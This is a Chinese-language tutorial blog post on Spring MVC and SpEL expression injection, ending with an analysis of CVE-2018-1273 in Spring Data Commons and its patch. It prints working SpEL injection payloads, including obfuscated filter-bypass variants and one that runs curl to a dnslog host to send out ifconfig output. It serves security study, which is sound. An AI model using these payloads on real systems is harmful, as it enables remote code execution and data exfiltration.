以下内容均为笔者粗陋的见解,如有误解之处,请您批评指正。
Spring框架安全
Spring简介
Spring是目前Java应用最广泛的框架之一,是拥有着IoC和AOP的优秀机制的容器框架。
而Spring MVC,则是Spring提供给Web开发的框架设计。
Spring MVC实现逻辑
Spring MVC中,所有的请求都有DispatcherServlet
来统一处理、分发。然后借助HandlerMapping
定位到处理请求的控制器(Controller)。
Controller
处理完成用户请求后,返回ModelAndView
对象给DispatcherServlet
。
逻辑实现图如下:
这个图想必比较直观了,从宏观角度来说,DispatcherServlet
是整个Web的控制器,从微观角度来说,Controller
是每次请求的控制器。
下面将从创建一个Spring MVC开始,熟悉Spring MVC的项目结构和代码逻辑。
Spring MVC项目
使用IDEA NEW一个Spring项目
并勾选 "Spring MVC"、"Web Application"
项目结构如下:
配置一个服务器,这里使用Tomcat
至此项目就算是配置完成了,启动Tomcat,访问index.jsp,效果如下。
Spring MVC应用
1、Spring MVC App示例
创建一个包,在包中创建一个控制器TestController
在控制器中输入以下代码:
package t4rrega.spring;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
@Controller
@RequestMapping("/test")
public class TestController {
@RequestMapping("/index")
public String test(String input) {
return "/WEB-INF/t4rrega/test.jsp";
}
}
该控制器通过RequestMapping
对访问路径进行定义。
该注解用来处理请求地址的映射,可以用于类或方法。
用作类定义时,则表明以该地址作为父路径,如上图中的test()方法,如果需要从URL中访问到,路径为: 父路径+方法路径=/test/index
然后在相应的路径创建文件
修改dispatcher-servlet.xml
文件,添加图示中的代码,其中component-scan
,允许Spring MVC对包进行查找。
修改web.xml
修改url-pattern为"/"
Servlet-mapping不清楚的可以看我之前javaWeb的文章:JavaWeb上、JavaWeb下
访问指定的路径,效果如下
2、Spring MVC Model向View传递值
Model向View传递值,主要通过model.addAttribute
将值添加到上下文中
之后可以通过model.addAttribute
设置的第一个参数名进行获取值
这种方式与JavaWeb的域对象类似
修改TestController.java如下
package t4rrega.spring;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.RequestMapping;
@Controller
@RequestMapping("/test")
public class TestController {
@RequestMapping("/index")
public String test(Model model) {
model.addAttribute("id", "t4rrega");
return "/WEB-INF/t4rrega/test.jsp";
}
}
通过${}获取引用值
效果如下
3、Spring MVC 获取URL参数值
Spring MVC获取URL参数值非常简单,只需要在方法中写上需要获取的参数即可
如下的name
通过${}获取引用
效果如下
Spel简介
1、Spel API
SpelExpressionParser
类负责解析表达式,返回一个Expression
对象
getValue()
方法执行表达式,默认容器是spring本身的容器:ApplicationContext
2、Spel Grammer
#{}
EL使用${},而Spel则是使用#{}作为定界符。所有在大括号内的内容都被认定为表达式。
示例:
- 引用对象: #{person}
- 引用对象属性: #{person.name}
- 调用对象方法: #{person.toString()}
T()
T()运算符会调用作用域的方法和常量。
例如: T(java.lang.Runtime),会返回一个java.lang.Runtime对象
3、Spel 定义
3.1 XML
<bean id="Calc" class="org.spring.samples.Calc">
<property name="Calc" value="#{T(java.lang.Runtime).getRuntime().exec("/system/Applications/Calculator.app/Contents/MacOS/Calculator")/>
</bean>
3.2 注解
public class EmailSender {
// 这里比较特殊,如果获取属性名称,还可以使用${}
@Value("${spring.mail.personname}")
private String personname;
@Value("#{systemProperties['person.region'] }")
private String Locale;
//...
}
4、Spel 用法
4.1 Class Expression
new
可以通过new在Spel中实例化对象,类需要通过全限定名进行访问。
表达式内容:
new java.lang.ProcessBuilder("/system/Applications/Calculator.app/Contents/MacOS/Calculator").start()
T()
表达式内容:
T(java.lang.Runtime).getRuntime().exec("/system/Applications/Calculator.app/Contents/MacOS/Calculator")
4.2 Bean Reference
如果已经配置上下文,则可以通过@从表中查找JavaBean
4.3 Variable Reference
通过EvaluationContext#setVariable()
定义变量,可以在表达式中进行引用。
- 引用变量: #variableName
- 引用根对象: #root
- 引用上下文对象: #this
如果把context
的root object
设置为一个对象时,在获取的时候可以省略root对象前缀
并且在执行表达式时,Spel会在内部使用反射从根对象中获取/设置属性值。
4.4 User defined function
用户可以在Spel中注册自定义方法,将该方法注册到StandardEvaluationContext#registerFunction()
中
下面的EncodeUtils#Encode2Base64
则是我自定义的方法
Spel注入
java在不指定EvaluationContext
的情况下默认采用的是StandardEvaluationContext
,而它包含了Spel的所有功能,在未过滤输入的情况下就可能造成任意命令执行。
结合上面的知识点,我们可以使用如下一些语句进行Spel注入。
1、new对象
payload:
new java.lang.ProcessBuilder("/system/Applications/Calculator.app/Contents/MacOS/Calculator").start()
2、反射
Payload:
this.getClass().forName("java.lang.Runtime").getRuntime().exec("/system/Applications/Calculator.app/Contents/MacOS/Calculator")
效果如下
3、T()运算
payload:
T(java.lang.Runtime).getRuntime().exec("open -a Calculator.app")
一些常用的绕过payload:
1、String类动态生成字符
T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(111).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(110)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(108)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(110)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(108)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(117)).concat(T(java.lang.Character).toString(108)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(114)).concat(T(java.lang.Character).toString(46)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(112)))
当然concat(T(java.lang.Character).toString(xxx))
也可以替换为new java.lang.String(new byte[]{xxx,xxx})
2、反射异变
#{T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"/bin/bash","-c","curl test.ww4ply.dnslog.cn/`ifconfig '\n' '-'`"})}
Spel注入漏洞分析
主要分享两个最经典的Spel注入漏洞:
- Spring Data Commons
- Spring Data Rest
- Spring Security Oauth2
本次主要介绍Spring Data Commons
Spring Data Commons RCE(CVE-2018-1273)
影响版本: Spring Data Commons <= 2.0.5.RELEASE
顺带一提一个比较好的习惯,当开源漏洞的补丁出来时,可以第一时间看看github上的代码与上个版本的差异,看一下开发者是如何修补漏洞的,因为很多著名的漏洞都是对补丁的二次绕过,例如Fastjson、Struts2、Weblogic。因此研究代码差异,不仅有助于我们更精准的定位、研究漏洞,更有可能成为下一个漏洞的突破口。
在github上,我们将2.0.6和2.0.5版本代码进行比对
由于是Spel注入漏洞,因此直接定位到了漏洞点MapDataBinder#setPropertyValue()
环境部署
可以直接在我的github上下载
https://github.com/t4rrega/spring-data-web-example.git
调试的方式启动jar包
java -Xdebug -Xrunjdwp:transport=dt_socket,address=5005,server=y,suspend=y -jar spring-data-web-example-2.0.0.RELEASE.jar
配置IDEA远程调试环境
在MapDataBinder#setPropertyValue()处设置断点
debug启动项目
发送数据,触发断点(可以参考后文中的burpsuite数据包内容)
程序断在该方法中,该方法首先通过isWritableProperty()
校验propertyName
参数是否为Controller设置的Form映射对象中的成员变量,随后调用了parseExpression()
来设置需要解析的表达式,最终通过expression.setValue()
完成了对表达式的解析。
那么想要执行任意表达式,首选需要知道isWritableProperty()
如何校验的参数。
跟入该方法
isWritableProperty()
中调用了getPropertyPath()
对propertyName
进行了检测,如果该值不为null,则直接return
跟入getPropertyPath()
方法
在getPropertyPath()
方法中,只有两行,分别是:
- 使用正则将包含方括号在内的特殊字符进行过滤
- 判断剩下的值,是否为type里的属性
而type是Controller用于接收参数的类
因此整个绕过过程便是将这个类的某个字段加上[xxx]来构造恶意的Spel表达式即可实现Spel注入
还有一点需要注意:
Spring Data Commons 2.0.5
版本中,添加了拒绝Spel表达式的关键语句。
所以需要使用反射的方式来构造最终payload
#this.getClass().forName("java.lang.Runtime").getRuntime().exec("open -a Calculator.app")
顺带一提,实例化MapDataBinder
对象的位置在ProxyingHandlerMethodArgumentResolver
实例化后,并调用了bind方法,将request.getParameterMap()
作为参数。也就是说这里就是漏洞原始的触发点
至于为什么ProxyingHandlerMethodArgumentResolver
又被调用起来,可以查看一下官方文档,简单来说就是Form接口的问题
流程如上,过程比较简单,我们再来回顾一下补丁。
漏洞形成的原因就是当用户在开发中利用了Spring-data-commons
中的特性对用户的输入参数进行自动匹配时候,会将用户提交的form表单中的参数名作为Spel表达式执行。
修复方式也主要是通过替换SimpleEvaluationContext为StandardEvaluationContext
完成。
SimpleEvaluationContext
的权限则小的多,只支持一些map结构,通用的jang.lang.Runtime,java.lang.ProcessBuilder
都已经不再支持,详情可查看SimpleEvaluationContext
的实现。
-
Spring框架安全
- Spring简介
- Spring MVC实现逻辑
- Spring MVC项目
- Spring MVC应用
- 1、Spring MVC App示例
- 2、Spring MVC Model向View传递值
- 3、Spring MVC 获取URL参数值
- Spel简介
- 1、Spel API
- 2、Spel Grammer
- #{}
- T()
- 3、Spel 定义
- 3.1 XML
- 3.2 注解
- 4、Spel 用法
- 4.1 Class Expression
- 4.2 Bean Reference
- 4.3 Variable Reference
- 4.4 User defined function
- Spel注入
- 1、new对象
- 2、反射
- 3、T()运算
- Spel注入漏洞分析
- Spring Data Commons RCE(CVE-2018-1273)
- 环境部署